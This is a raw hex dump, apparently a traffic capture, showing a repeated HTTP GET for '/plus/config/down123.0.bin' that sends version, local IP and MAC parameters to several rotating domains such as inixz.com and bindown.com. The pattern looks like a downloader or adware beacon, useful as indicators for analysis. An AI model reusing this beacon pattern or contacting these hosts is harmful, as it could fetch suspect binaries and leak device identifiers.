0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e69787a 2e636f6d 0d0a436f   t: inixz.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0d0a6865   no-cache......he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e696269 6e2e636f 6d0d0a43   t: inibin.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0a6865    no-cache.....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2062 696e646f 776e2e63 6f6d0d0a   t: bindown.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e69787a 2e636f6d 0d0a436f   t: inixz.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0d0a6865   no-cache......he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e696269 6e2e636f 6d0d0a43   t: inibin.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0a6865    no-cache.....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2062 696e646f 776e2e63 6f6d0d0a   t: bindown.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e69787a 2e636f6d 0d0a436f   t: inixz.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0d0a6865   no-cache......he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e696269 6e2e636f 6d0d0a43   t: inibin.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0a6865    no-cache.....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2062 696e646f 776e2e63 6f6d0d0a   t: bindown.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
